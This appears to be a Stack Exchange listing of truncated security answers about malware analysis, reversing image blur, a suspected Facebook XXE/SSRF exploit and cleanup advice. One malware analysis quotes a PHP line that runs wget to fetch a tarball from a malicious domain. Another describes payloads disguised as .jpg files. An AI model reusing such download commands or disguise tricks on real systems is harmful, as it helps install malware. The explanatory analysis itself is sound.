Hot answers tagged

103

This is a typical obfuscated JavaScript malware which targets the Windows Script Host to download the rest of the payload. In this case, it downloads what appears to be mainly a Chrome Extension (manifest.json and bg.js), the autoit Windows executable, and some autoit scripts which install them. All of these files are named with .jpg extensions on the (...


63

Is it possible to "de-blur" the image, if you know the algorithm and the setting, or by trial & error? Here, I assume we are only considering images which were blurred using a filter applied to the image, and not as a result of a poor capture (motion/optical blur). Deblurring definitely is possible, and you will see support in many image processing ...


31

I haven't got the time to fully reverse-engineer what this script does, but it seems to link to several .jpg files that are actually not images but text, and then references some .au3 files, suggesting that it actually saves those .jpg files under that extension. Those .au3 files seem to match AutoIt's file extension and indeed they look like valid AutoIt ...


16

From what it looks like, a malicious actor leverage what is known as a XML External Entity vulnerability (XXE) and then a Server-Side Request Forgery (SSRF). Facebook's servers were tricked into linking a malicious XML file from another domain, processing it and served it up to you. Here is the XXE cheat sheet and SSRF bible's cheat sheet, if you're ...


14

Yes, blurring is an unsafe way to censor data in images. There are software that can easily reverse algorithmic blurring like gaussian blurs, to fairly legible result. Often enough to identify objects/read texts.


11

Is this an exploit on Facebook? Most likely. The unscrupulous are always trying to find ways to gain access to bank accounts, passwords, friend lists, and anything else they can do to turn a buck. Is it possible that my friend got a virus which targets their contacts by tagging them on malicious links? There's no reason to think otherwise. The ...


8

It depends on two things: the image itself (amount of info), and the blur used (type+amount). The Gaussian blur you mentioned re-distributes contrast (info) from where it's most or least concentrated into a diffusing circle around the contrast; more towards the center, less and less as you approach the edge of the circle (aka blur radius). Instead of a ...


7

What risks do you have? Possibly that your computer is now infected with malicious software like a virus or a trojan horse. The following steps should be taken if you didn't already. What to do? There are some steps you can take: First of all, don't click on links that you don't trust or know Use unshortenit.it or urlex.org to check where the ...


4

My experience shows that Gaussian blur in the GIMP is not enough to fully obfuscate information. In fact, it's possible to use deconvolution to restore most of the image data after Gaussian blurring.


3

From what I can tell, and I'm not a PHP expert, the code does a couple of checks but ultimately it looks to download a tarball from a malicious .ru website (this website can be found by decoding the $domain variable. It then expands the tarball and deletes it. This action is found in the following lines $cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$...


3

The term "blur" is used to describe many kinds of visual effect, including those which might be called "smearing" or "smudging". If an image which were blurred mathematically were stored precisely, it would be possible to reconstruct the original perfectly. One of the effects of blurring, however, is to make the data more sensitive to certain kinds of ...


2

There is one case where blurring can definitely be reversed: If you are blurring computer generated text, for example screen shots. For example, if the text above was blurred, and even if the blurring stretched over several characters, you could write software that tries out all letter combinations and find those that produce exactly the same pixel values ...


2

It's not obfuscated script. it's only minimized script for faster loading purposes. These are some sample scripts. Normal Script: StackExchange.ready(function() { StackExchange.using("postValidation", function() { StackExchange.postValidation.initOnBlurAndSubmit($('#post-form'), 2, 'answer'); }); StackExchange.question.init({ ...


2

Deliberately blurring a region causes information loss. What you can restore depends on the amount of information which got lost. This amount depends on the blurring algorithm and its parameters. But even if a single image does not contain enough information you might still recover information lost inside a specific image if you have similar images where the ...


2

After you detected the virus you immediately started removing it. Virus writers know this so they want to remain undetected for the owner. That is why they only show the malicious content when people arrive through google. The assumption is the owner will never use google to go to his own site but enter the url directly. As for the payload: most likely it ...


2

What is it? What you have are harmless SVG vectors (that are base64 encoded) being parsed using data uri in the image tag. This is a legitimate way of serving SVGs. Decoding these strings gives valid SVGs - which you can render online - https://jsfiddle.net/ykdss3b3/ (rendered as a "Save" button: https://jsfiddle.net/psL3p1hy/) <svg xmlns="http://www.w3....


1

I've seen this a number of times on various sites, it's just a technique to provide those button images that scale with the button. It could be an attack I suppose, but what's more concerning is that you have no idea where code comes from on a site that you manage. You need to be looking into source control, at the very least for stability of your website so ...


1

As well as malware, as already indicated in Kevin Morssink's answer, the risks include being compromised by any of the cross-domain exploits should any vulnerabilities exist on sites you trust and are possibly logged into: e.g. Cross-site scripting. Cross-site request forgery. Session fixation i.e. Client-site attacks on the sites you use. See the ...



Only top voted, non community-wiki answers of a minimum length are eligible